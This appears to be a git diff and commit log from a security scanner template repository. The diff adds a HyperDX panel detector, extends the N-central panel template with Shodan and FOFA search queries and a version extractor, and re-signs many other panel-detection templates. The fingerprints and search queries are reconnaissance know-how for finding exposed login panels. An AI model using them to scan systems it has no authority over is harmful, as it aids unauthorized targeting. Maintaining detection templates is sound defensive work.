+          - '"model"\s*:\s*"([^"]+)"'
+
+      - type: regex
+        group: 1
+        regex:
+          - '"version"\s*:\s*"([^"]+)"'
+# digest: 4a0a00473045022002d23b7a4b3ccbd950bf46b67523ac4fde234f0c6b750e15205357a40667c1740221008340ce41eedaaf188f0bcacf661b40d3ea2cf517cb2cf1a49cb029a74c70dde4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,37 @@
+id: hyperdx-panel
+
+info:
+  name: HyperDX Panel - Detect
+  author: righettod
+  severity: info
+  description: |
+    HyperDX panel was discovered.
+  reference:
+    - https://github.com/hyperdxio/hyperdx
+    - https://www.hyperdx.io/
+  metadata:
+    max-request: 1
+    verified: true
+    shodan-query: html:"hyperdx"
+  tags: panel,hyperdx,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_any(to_lower(body), ">hyperdx</span>", ">loading hyperdx<")'
+        condition: and
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+
+          - '(?i)"version":"([0-9.]+)"'
+# digest: 490a00463044022022a1d7d067bd286f67ed77b8a590db1d5d35c905563c7fbe6ece42260a354e6702203405927d55f79b2b50808df4479d1d47bf23b503ca97fd627330434034aecad1:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 490a0046304402206b8779a574177cb1dd91714f49eea4db3c512a9fecce91b84868477adfe42c2b0220286786fb4c42f6829a24c9c2e678ad5b56e95081eca1aee42fbca9766a8ecaee:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201c422bce92c0efe1689d3330004c2843247d9d8447af5d24db3fa2f16c5e623c02207f935f25c1c3ca78e9e7ba13f9650d0fc45e0baac54a4a932bbbcdc3f1d5b44e:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402200c98d3f80561292bd24df2cf51138227bc2fcf013a3c8e529bf338eb24e90453022078400fe3465d3d1e4d568bb5022bd4e96d2b7f5dc254c9d78cd0b768a98d0200:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210081ab3a7909956ba2729a323d3db937c825658407de065c38293b118c2462e4b102201d4f103b35cfe475988f029af4317226f0779c02c9c820bf1a682ea95b374d01:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200f83bcb0c05ccafaa0782d52dbaf3af2de701325e303a53135919bf7b72376ac022100f9d68b84291123ae52af0ab17c30d7b1f6b0b068b478d352abeb8ba24365655a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022066a4d2255809ffeb997e36731a4549be18bfc2c0d7617e3f1349ef5e249b014902203205ab884db87b881589aeed8761e1c5b502f82609380c3fc847b0e21bd3d525:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
          - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
          - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
        condition: or
-# digest: 4b0a00483046022100de7eed42130fe06e308939a61863221e49ec2168f3148f16cc810c7a91d296fe022100935bcb87a915db0b748a8d30de8b72bccf297d5d6b0081d3255461b8eed7bd51:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100825d670c7f54572466a5085c1681c40832e4bd5bff206e2b92e0a9930c39b26b02200234a8dcffd005867f496367b8128af75448ffe1ef92e28145befd032c625216:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100824bcdd5933a449903504f63693a40da890a837ad336a5253634fd4e8ab49e490220451bf00d6c644734c5f5730fc5233c1b162aedc1a1b1379a689aaac67e321892:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a8d5f9656b6c9c4f7f3e2cdfb065d948354ba8f97cbb2aa2b8c87a06596d3b4d02200091eae97a6a6fd67656a5a1f82d57c3b3e6a5d84a5a6fb7a41f3b2af486190f:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,16 @@ info:
  metadata:
    verified: true
    max-request: 1
-    shodan-query: http.title:"N-central Login"
+    shodan-query:
+      - http.title:"N-central Login"
+      - http.favicon.hash:1519363246
+      - http.favicon.hash:1937353549
+      - "Set-Cookie: ncentral_version="
+    fofa-query:
+      - title="N-central Login"
+      - icon_hash="1519363246"
+      - icon_hash="1937353549"
+      - "Set-Cookie: ncentral_version="
    product: n-central
    vendor: n-able
  tags: panel,n-central
@@ -32,4 +41,10 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a0048304602210083fc8657e534579da09b0da6e201eff182f16d531b242c2d58f0571fb6716cfc022100e7a4ca2506964851130f8ef6bd88d27886af8407e21c9b6056d94cc55143201d:922c64590222798bb761d5b6d8e72950
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "ncentralVersion:\\s+\"([\\d\\.]+)\","
+# digest: 490a0046304402203ab16bfb2a9904eb00120e98537be3b21743d7b826bf9ed5f9ea99a97c6ed1350220061a0050c3b027357632591f2f8ffa992fad70c07ffb669520b2713e3453c7d1:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a00483046022100adbebe64cf902c89670d851088db339f09967286629e57b95a652af150676022022100a410c5a270a33644815311e20ceb06aa2852ac91c7f247485f0c01956b9658d3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e0d8064ed84fba50c36331dee1e1e78be7c61ddcb61fcd6f9159c08a852f6f690220459dd68251ebf701e696513a380cedada7bca061f68b0020e2374846d32757d6:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '_v=([0-9\.\-]+)'
-# digest: 4a0a00473045022100ba3c55417acfa9501ba62800b13d98c0c28ece83d5ea09823874269a70533a82022069ae706a39ac11091cc60ea2e02f1290fc7a01770fa6cf22ad172180c94a9d44:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bdab0afca55f2b30bebd5dd7b4dfe7df71908ee0caba4db9d50c4dcbd2f29e12022003ebb1082839850e256c5cda418d5737b7887f6ea9c5dd30c74eb3cad3a3a875:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
        condition: and
-# digest: 4a0a00473045022053ce937cc4c0bc1a4b1d5e84d935b566198a62704122c3f6a19c315aac291343022100c54316b88b82b6a4ced3e2c35e2cd976fe638c9e912f31324cfa4c250e656664:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cb7626ea89346f79f8269aa769757c28b78b50ef7be1ad31bb1d4a45b57c2552022100968e2a3ade3532ccdace0cdac1557bd95008fe03d440dd86dc9795ef2e7441b2:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(body, "OpenSign")'
        condition: and
-# digest: 490a004630440220527333ffffdd9e87659e1507cf841562ba9d44cf35aa3ca382a4a7cac16adaae02200ba853235d75e4fcfb0767294a9170229afb0f0433f8889297a4836f5e8c9de4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a6fe69a5bc7513af11fb631a9e06aac7cab5a5ea35e5ad86425929fa033dd7702207f23791cde7dab85de503100dd0eb2356bed2ca4fb215a156868d056c13c16b1:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022023961b6c13ed35a7ab6c1bdf0178ea63cbcc258a217853c2b0403e8ca9377b64022100993e36be6f9b8cb54883e2fbba0c6cdd05cdc6bfab182e96ea559f6d26b87d14:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210092df8193dff6ea6db7b5b40bd99721b89bfc5b9ba1397a11df22b3a1dee21f39022100b870f41b39f359ab285e073bab452db7ff755cb478dc8b7bc6c24b8daf8a30b9:922c64590222798bb761d5b6d8e72950
@@ -51,4 +51,4 @@ http:
        group: 1
        regex:
          - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4a0a00473045022100d4f65e9dbc7cb27da9de7dc826c6a523858fa24f4ca1cc18954e93c6ccfb297102206521fbefddac1632cf93f543472a09e768a6aecafda19d324669de7193efcad5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008cf18d3af3134afa80fc6099738cf4b8e72d219e6a7ffedfa9f3b76feaa9989402202bcfbea578496c81ef6661a44fee71e1707aaca5d862d46a1e113757d282d741:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022065dc8be3f82d0d404323f5f34ef1afd6b99ef51a06b7fd07768b015dbfd1dcda022100b53ce0555e9662a41d84af56bd8c67e96e0a9a03c8e78d240582efa6bd9e93ba:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202231a4f93a2ee5a9154bba4396689d9b250334f680e0f3322dc1db3946f91e4b0221009780d5e9dcc34a201f6a18ceb99415d53bc2acf343fc8894a6dbe45be000a678:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(body, "PhotoPrism", "login")'
        condition: and
-# digest: 490a0046304402205506d8dde962f190bd3753d4800e92287df32ac8079c3edea66972ceea997c62022046949536e3f8682e3fbe9574e36397d206227acc7896a57e33d9f7f1b5666b45:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f4aef021f02cc23551e0d47aff25c10344ade1133fa3b6246375b442ae295e81022023b7c9046f65699e976d34f3a87d4da0f4c2f4fd82728a2a4f25ca029eacb540:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402201120ce1508be60d02e2750cc99411a0882c481861cf8a06026a581db570c4fc0022036860b24433c00c4acbe6d26751ded1d9f88d9cfb18fe149450425899dcf4f08:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220615ac33c385301899083bacb87e509ee336ba1bb4e0a4323b980121f974e3d23022100b10811ff9c53eeb06ab0e8b5a087b4614684a0906a736cc35c8e315b47ac43c3:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - '<title>Procore Log In</title>'
          - 'Log in to your Procore account using your email and password'
        condition: and
-# digest: 4b0a00483046022100a4f11b87f818705633e12214aea6736aaa644a4d71942b218a1c9e1e2b77d908022100f39ce9d779ade6a67dbb1fe3e152e74d9e168bce7055752a76217f9d1f69e406:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8e2df8ab065e591929ba972db80a6cd8bc7dd7061b56d149f709b38b1ba855c022100e9440ccfc14ba1c8cb4699367b7075fc712b9aa517d1a305fb8e4f3ff682e64b:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4b0a00483046022100e62b5d27e360094da7f9d675e14312dc86069a383f49e4e4b70ba889039781e7022100a6cc29847abefbf952cf9d9076e6ed4bfcd233b2b4ff97945f055553a0ecfa55:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210099099dc72b325f8305bd6c9db5586ff27f53de9396912e830d2ca2019e56740b022100eb9efdfca674e937b89b379e6b986735f45fe24ebfc7b13bd878d9c2c143f2b3:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'V=([0-9.]+)'
-# digest: 490a0046304402206acfee647593f14fe96e3c51560f664c62fad42ea79093f911238c036f9b8ccc022018cb95ae94a6fbaea4b4e48e6fe988240a87a7216253a7d7380f1ac1a15bc248:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022034f7e572604728505ed000220302e4eb28a8f221706f4c75020380ae24e920270220503fa548adc2198fe8a06d3e711e7b1fab6df3498508cc3da1dcf598435bb363:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4a0a004730450220796c484fc25e6d8f32ed537149ea22cad723213f0ccda46799b954055bbf0401022100a633f8b41ec88336263abde6e56875091f7fc234505c262965dbc16c93bdb537:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220084fc7dff201f8f1ed9c15d137278946f378c52ad0c424eb70c7736ec22d9a33022100f5afd62a44d8794cd71cf8525a2c0a048b1e353f3faebf6b29f901c6515506d4:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4a0a004730450220107134eb3fdc2f33d1d889b71c8265231289e1ca9a586ed80d72207cfa0b773c022100cc528d224b882b7538209ed99b4d9d76984841f210c60699f9148f63bca2e36e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205b555f9a09ef1b5408f3674f2c8def47071d6ffda7c334b0fad3e5000a08f8b8022100e696a42d926a673e5e81f4144fb836eff605ea9b32bad361c074124f66359f35:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
      - type: dsl
        dsl:
          - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 490a00463044022003e42d322c78fa87200dfbd83062f863720461deeee629552587ef78bc041eb602205317b713c64f889f8db5f550c2d0ae4b50547902b8042cc8342be0201506fc84:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d64c7d494a30acffb747d15c12f690e6a09c9921f229c29bbc9671e5e0c67d6102210082ae6e1092eda9c2fffd869a71d5375a61b8fbec85da90e57c23c45050c77c9c:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a2f6a32e9375edbc5dfd7908327d4904f4c72c889ef12f1a0e3ca8b1b289448f0221009d7c9f78a0f325cab8508f5535af27568f9604d9a9b47da6dc1f08c872cec5b4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220576d9a7ece003c74eca0f0e1b59aa15e529c2363171b2a5e3bdb715d371ffb30022100fe2ebb79bce291d13f5c6ab0cfa90abcb4e8657193b77fac2db2a7b003d5ead1:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
        condition: and
-# digest: 4b0a00483046022100a73528e5f3aebe6bd31d40556ab0e1a942c5f7817622e332b8668697378dd936022100df6ca1c9ad4b207d84d9e6114baccdbe43ca068a3dea5a86699d17ec021d87f2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ed3be4479d0903097e4053bb2e385f20b9ae2178565f2ce79362c0a4b3feb84022053f3adbd7888ddb782da21d63be3b4cb148fd59b99a262b5084fc7f9a2d7cec8:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100aa91fe08499f12138c38dd2cc606b17f796af074008607d293432ba479d22a41022100efe3df3ff5f83a9b1e48268634004d673ce4a8bc05a2d17cc1891776e7515c19:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022057ab025dcecbc2db2d7bf2b1ef2a16524c63ce8a2d9bb1aa14600bfb123a8c7a02204b7aff6d6b7c493cc6d0abaa663ca7b03ecf71f27ca85cf9b5fdfaf83ae0c901:922c64590222798bb761d5b6d8e72950
Author	SHA1	Message	Date
MaineK00n	76d82edd1e	fix: fix typo in CVE-2024-36104.yaml	2025-08-16 11:41:14 +09:00
ghost	2cd42f9d83	chore: generate new addition list 🤖	2025-08-15 07:28:05 +00:00
ghost	d8d1736021	chore: generate templates checksum 🤖	2025-08-15 07:28:00 +00:00
ghost	187eeff30a	chore: sign templates 🤖	2025-08-15 07:27:58 +00:00
Ritik Chaddha	f48d8293ad	Merge pull request #12718 from rxerium/well-known-checks ./well-known/ exposures	2025-08-15 12:57:32 +05:30
ghost	ab4bff9d34	chore: generate templates checksum 🤖	2025-08-15 07:23:46 +00:00
Ritik Chaddha	3caf261945	Merge pull request #12791 from Jaenact/add-time-based-sqli feat(sqli): Add multiple payloads and author to time-based-sqli template	2025-08-15 12:53:23 +05:30
Ritik Chaddha	71ebe9b488	Update nostr-json-exposure.yaml	2025-08-15 12:53:02 +05:30
Ritik Chaddha	235f787acc	Update pki-validation-exposure.yaml	2025-08-15 12:51:32 +05:30
ghost	50ebefeba8	chore: sign templates 🤖	2025-08-15 07:05:26 +00:00
ghost	47ba40d5e7	chore: generate new addition list 🤖	2025-08-15 07:05:25 +00:00
ghost	672a800f1d	chore: generate templates checksum 🤖	2025-08-15 07:05:17 +00:00
Ritik Chaddha	425ab38d14	Merge pull request #12887 from darses/patch-43 Add espec-web-controller-panel	2025-08-15 12:34:50 +05:30
ghost	90bf006d4e	chore: generate templates checksum 🤖	2025-08-15 04:58:23 +00:00
ghost	a268b6f160	chore: sign templates 🤖	2025-08-15 04:58:18 +00:00
Dhiyaneshwaran	ad54d306d7	Merge pull request #12889 from projectdiscovery/fix-FP-CVE-2019-5128 Fix FP CVE-2019-5127, CVE-2019-5128 & CVE-2019-5129	2025-08-14 21:57:54 -07:00
Ritik Chaddha	009c1d78c6	fix	2025-08-15 09:56:56 +05:30
Ritik Chaddha	e948f24d8e	Update CVE-2019-5127.yaml	2025-08-15 09:55:26 +05:30
Ritik Chaddha	a2f7f4bcd1	Update CVE-2019-5129.yaml	2025-08-15 09:54:58 +05:30
ghost	a5f03590d8	chore: generate templates checksum 🤖	2025-08-15 04:24:28 +00:00
ghost	1f556ef5b9	chore: sign templates 🤖	2025-08-15 04:24:20 +00:00
ghost	a5bfac38ae	chore: generate CVEs metadata 🤖	2025-08-15 04:24:16 +00:00
Dhiyaneshwaran	fec6a2bb80	Merge pull request #12759 from adervis3/main Improve and Update CVE-2024-36104 and CVE-2024-38856	2025-08-14 21:23:56 -07:00
Ritik Chaddha	9899610305	Fix FP CVE-2019-5128 & CVE-2019-5128	2025-08-15 09:52:52 +05:30
Ritik Chaddha	a25efcaaec	Update CVE-2024-38856.yaml	2025-08-15 09:41:18 +05:30
Ritik Chaddha	dd6a22a659	Update CVE-2024-36104.yaml	2025-08-15 09:39:23 +05:30
ghost	2ca2e723ca	chore: sign templates 🤖	2025-08-15 04:08:39 +00:00
ghost	e7d13c3bdc	chore: generate templates checksum 🤖	2025-08-15 04:08:37 +00:00
Dhiyaneshwaran	6e9759aca7	Merge pull request #12788 from 0x4bdo/patch-2 fix(exposed-pki-cert): tighten matchers and remove root path to reduc…	2025-08-14 21:08:12 -07:00
Ritik Chaddha	3233b88040	added missing slash	2025-08-15 09:03:16 +05:30
Ritik Chaddha	c2c1c26d87	Update exposed-pki-cert.yaml	2025-08-15 09:01:40 +05:30
ghost	6906ebccc8	chore: generate new addition list 🤖	2025-08-15 02:43:06 +00:00
ghost	85240428b1	chore: generate templates checksum 🤖	2025-08-15 02:43:03 +00:00
ghost	581dce6bc8	chore: sign templates 🤖	2025-08-15 02:43:02 +00:00
ghost	4388c64a26	chore: generate CVEs metadata 🤖	2025-08-15 02:42:58 +00:00
Dhiyaneshwaran	83fbe59262	Merge pull request #12633 from projectdiscovery/pussycat0x-patch-16 Create CVE-2025-6934.yaml	2025-08-14 19:42:33 -07:00
Dhiyaneshwaran	76ded9f419	Merge branch 'main' into well-known-checks	2025-08-14 19:41:28 -07:00
ghost	57b9ff2a24	chore: generate templates checksum 🤖	2025-08-15 02:41:14 +00:00
ghost	e29be8f7ed	chore: sign templates 🤖	2025-08-15 02:41:12 +00:00
ghost	3a04f32ba7	chore: generate CVEs metadata 🤖	2025-08-15 02:41:09 +00:00
Dhiyaneshwaran	23dfd08b7e	Merge pull request #12780 from SeungAh-Hong/add-cve-2025-34073 Add CVE-2025-34073.yaml	2025-08-14 19:40:44 -07:00
Dhiyaneshwaran	4f4d25dc22	Merge branch 'main' into pussycat0x-patch-16	2025-08-14 19:37:31 -07:00
Dhiyaneshwaran	df7d439c00	added-flow	2025-08-15 08:07:06 +05:30
ghost	d1df3a00ec	chore: generate templates checksum 🤖	2025-08-15 02:17:29 +00:00
ghost	d4a00ed245	chore: sign templates 🤖	2025-08-15 02:17:22 +00:00
ghost	09ab7f91cb	chore: generate CVEs metadata 🤖	2025-08-15 02:17:16 +00:00
Dhiyaneshwaran	e7dead45c3	Merge pull request #12816 from oleveloper/http/cves/cve-2022-1995 fix: reduce false positives in CVE-2022-1595.yaml	2025-08-14 19:16:57 -07:00
Dhiyaneshwaran	05b916f580	fix-template-format	2025-08-15 07:37:48 +05:30
ghost	387ed98fed	chore: generate new addition list 🤖	2025-08-15 02:01:00 +00:00
ghost	58ca46103a	chore: generate templates checksum 🤖	2025-08-15 02:00:59 +00:00
ghost	e2e9901bf9	chore: sign templates 🤖	2025-08-15 02:00:54 +00:00
ghost	1d3011e4c8	chore: generate CVEs metadata 🤖	2025-08-15 02:00:48 +00:00
Dhiyaneshwaran	0ae12e8b30	Merge pull request #12817 from s-cu-bot/s-cu-bot Added CVE-2025-54589 Template	2025-08-14 19:00:28 -07:00
Dhiyaneshwaran	569c8d8954	Merge branch 'main' into add-cve-2025-34073	2025-08-14 18:53:50 -07:00
ghost	427834d8ac	chore: generate templates checksum 🤖	2025-08-15 01:47:15 +00:00
ghost	503c3cc3d1	chore: sign templates 🤖	2025-08-15 01:47:14 +00:00
Dhiyaneshwaran	60b1682ca0	Merge pull request #12885 from darses/patch-42 Update ncentral-panel	2025-08-14 18:46:50 -07:00
ghost	b235d4ca00	chore: generate templates checksum 🤖	2025-08-15 01:43:15 +00:00
ghost	d97cb69082	chore: generate new addition list 🤖	2025-08-15 01:43:10 +00:00
ghost	5ffbe83e2f	chore: sign templates 🤖	2025-08-15 01:43:03 +00:00
Dhiyaneshwaran	45b257167a	Merge pull request #12832 from mailler0xa/main Added NVIDIA's Triton Inference Server.	2025-08-14 18:42:40 -07:00
Dhiyaneshwaran	820bab8ff0	fix-template	2025-08-15 07:08:12 +05:30
Dhiyaneshwaran	3ae08531e4	format-fix	2025-08-15 06:51:48 +05:30
Chris	fd6c7388ea	Add espec-web-controller-panel	2025-08-14 17:47:09 +02:00
Chris	31632a8cd6	Update ncentral-panel - Additional Shodan/FOFA queries - Extract version number	2025-08-14 14:00:36 +02:00
Ritik Chaddha	2a4cb632a9	fix matchers	2025-08-14 14:47:39 +05:30
ghost	5a565477cc	chore: generate templates checksum 🤖	2025-08-14 08:30:01 +00:00
ghost	4140e52178	chore: sign templates 🤖	2025-08-14 08:29:52 +00:00
pussycat0x	769080d7b5	Merge pull request #12679 from projectdiscovery/revert-12664-updated-multiple-payloads-with-flow Add flow optimization to multiple paylaods/ reqs templates for performance improvement	2025-08-14 15:29:28 +07:00
pussycat0x	27df09588f	Merge branch 'main' into revert-12664-updated-multiple-payloads-with-flow	2025-08-14 15:12:26 +07:00
ghost	d7c828efe2	chore: generate templates checksum 🤖	2025-08-14 07:40:37 +00:00
Dhiyaneshwaran	a16c5df370	Merge pull request #12877 from projectdiscovery/pussycat0x-patch-13 FN - Fix swagger-api.yaml	2025-08-14 00:40:11 -07:00
pussycat0x	d8640e18f2	Merge branch 'main' into revert-12664-updated-multiple-payloads-with-flow	2025-08-14 11:46:15 +07:00
ghost	491d9b04a7	chore: generate templates checksum 🤖	2025-08-14 04:41:01 +00:00
ghost	75883df006	chore: sign templates 🤖	2025-08-14 04:40:59 +00:00
pussycat0x	67a638680c	Merge pull request #12882 from projectdiscovery/pussycat0x-patch-15 remove Dup protocol CVE-2023-24489.yaml	2025-08-14 11:40:33 +07:00
pussycat0x	5ab0376e8e	remove Dup protocol CVE-2023-24489.yaml	2025-08-14 11:35:21 +07:00
ghost	910ab168cf	chore: generate templates checksum 🤖	2025-08-14 03:31:23 +00:00
ghost	362960f718	chore: sign templates 🤖	2025-08-14 03:31:16 +00:00
Dwi Siswanto	3ad257f372	hotfix(osint): correct redirects and max-redirects placement (#12881 ) Signed-off-by: Dwi Siswanto <[email protected]>	2025-08-14 09:00:50 +05:30
pussycat0x	2bf739a426	FN - Fix swagger-api.yaml	2025-08-14 08:06:00 +07:00
ghost	0c4cc78882	chore: sign templates 🤖	2025-08-13 11:46:45 +00:00
Juanrd10	9efb6c597f	Update CVE-2025-4123.yaml (#12876 ) CVE and CWE added in classification CVSS metrics fixed	2025-08-13 17:16:19 +05:30
pussycat0x	cbef65baf7	minor - changes	2025-08-13 14:12:30 +07:00
Dhiyaneshwaran	c77d29a708	fix-spacing	2025-08-13 11:30:08 +05:30
pussycat0x	18e2182a31	Merge pull request #12802 from projectdiscovery/update-readme-workflow fixed workflow to update other readme files	2025-08-13 12:30:51 +07:00
ghost	c493d22b6d	chore: generate new addition list 🤖	2025-08-13 00:47:18 +00:00
ghost	3e68c88e07	chore: sign templates 🤖	2025-08-13 00:47:15 +00:00
ghost	11de4699d6	chore: generate templates checksum 🤖	2025-08-13 00:47:13 +00:00
pussycat0x	b2f26c7bc4	Merge pull request #12846 from righettod/hyperdx_add Add detection of HYPERDX data panel instances.	2025-08-13 07:46:48 +07:00
Sandeep Singh	dec92ec6cd	Update tests.yml	2025-08-13 03:42:40 +05:30
Dhiyaneshwaran	f1033a5b43	Merge branch 'main' into hyperdx_add	2025-08-12 12:31:46 -07:00
Dhiyaneshwaran	1b7b75cdcd	added-shodan-query	2025-08-13 00:59:15 +05:30
ghost	706abb4ce3	chore: generate templates checksum 🤖	2025-08-12 19:24:51 +00:00
Dhiyaneshwaran	584a272f89	Merge pull request #12833 from righettod/hangfire_upd Little update of the "Hangfire" template.	2025-08-12 12:24:23 -07:00
Dhiyaneshwaran	afd51ac8bb	Merge branch 'main' into hangfire_upd	2025-08-12 12:03:14 -07:00
ghost	a2f4f50bde	chore: generate templates checksum 🤖	2025-08-12 16:11:25 +00:00
ghost	9555c1f2f6	chore: sign templates 🤖	2025-08-12 16:11:23 +00:00
Prince Chaddha	664bb10484	Merge pull request #12828 from kelu27/fix-gcloud-default-vpc-in-use fix(gcloud-default-vpc-in-use) update matcher for default VPC detection	2025-08-12 12:10:59 -04:00
Prince Chaddha	3ba5ce16ab	Merge branch 'main' into fix-gcloud-default-vpc-in-use	2025-08-12 12:08:04 -04:00
ghost	60a9ef3613	chore: generate new addition list 🤖	2025-08-12 13:41:29 +00:00
ghost	738eaf7acf	chore: sign templates 🤖	2025-08-12 13:41:20 +00:00
ghost	b5ccbc02da	chore: generate CVEs metadata 🤖	2025-08-12 13:41:18 +00:00
pussycat0x	5b255a0448	Merge pull request #12805 from projectdiscovery/CVE-2025-32430 Create CVE-2025-32430.yaml	2025-08-12 20:40:53 +07:00
ghost	7d285996fd	chore: generate new addition list 🤖	2025-08-10 04:59:22 +00:00
ghost	024e38f199	chore: sign templates 🤖	2025-08-10 04:59:19 +00:00
ghost	4231d99c19	chore: generate templates checksum 🤖	2025-08-10 04:59:18 +00:00
Dhiyaneshwaran	b9e3bd852a	Merge pull request #12598 from darses/patch-33 Add huawei-holosense-panel	2025-08-09 21:58:52 -07:00
ghost	ae5e5946a7	chore: generate new addition list 🤖	2025-08-10 04:43:25 +00:00
ghost	d3a49f6d7e	chore: sign templates 🤖	2025-08-10 04:43:20 +00:00
ghost	4c13c9168a	chore: generate templates checksum 🤖	2025-08-10 04:43:17 +00:00
Dhiyaneshwaran	f54a59f779	Merge pull request #12775 from icarot/main Create diced-zipline-detect.yaml	2025-08-09 21:42:53 -07:00
Dhiyaneshwaran	deee03936f	Merge branch 'main' into add-cve-2025-34073	2025-08-09 21:42:37 -07:00
Dhiyaneshwaran	d28b02ec36	Merge branch 'main' into CVE-2025-32430	2025-08-09 21:42:07 -07:00
Dhiyaneshwaran	13cc33bace	Merge branch 'main' into main	2025-08-09 21:38:08 -07:00
Dhiyaneshwaran	8eef526041	Update and rename zipline-panel-detect.yaml to zipline-panel.yaml	2025-08-10 10:07:41 +05:30
ghost	545c191117	chore: generate new addition list 🤖	2025-08-10 04:35:31 +00:00
ghost	9c61727822	chore: generate templates checksum 🤖	2025-08-10 04:35:25 +00:00
Dhiyaneshwaran	a612164dee	Merge pull request #12757 from a1baradi/main Create exposed-venv-dir.yaml	2025-08-09 21:35:01 -07:00
PDTeamX	e46a9ed7a5	tag exclusion	2025-08-09 11:54:31 -07:00
Sandeep Singh	fbd5fe8170	Merge branch 'main' into CVE-2025-32430	2025-08-09 10:54:45 -07:00
ghost	c22767a035	docs: update README 🤖	2025-08-09 00:12:32 +00:00
ghost	704667078f	chore: generate templates stats 🤖	2025-08-09 00:11:49 +00:00
Dhiyaneshwaran	2d29b72e36	fix-matcher	2025-08-08 11:47:09 +05:30
Dominique RIGHETTO	b1e0758b8b	Add files via upload	2025-08-08 07:08:54 +02:00
Mailler	94cfca0e3e	will this fix that dash thingy when viewed online?	2025-08-07 22:29:06 +03:00
Mailler	9f8d0b882a	added extensions as a matcher too	2025-08-07 20:23:17 +03:00
Dominique RIGHETTO	c869888b17	Add files via upload	2025-08-07 17:53:22 +02:00
Mailler	d67c51d691	removed Shodan and Fofa queries since they aren't accurate	2025-08-07 18:37:30 +03:00
Dhiyaneshwaran	7998ac7469	added additional reference , updated matcher	2025-08-07 19:30:19 +05:30
Luc Charpentier	6927463ca8	fix(gcloud-default-vpc-in-use) update matcher for default VPC detection	2025-08-07 14:56:34 +02:00
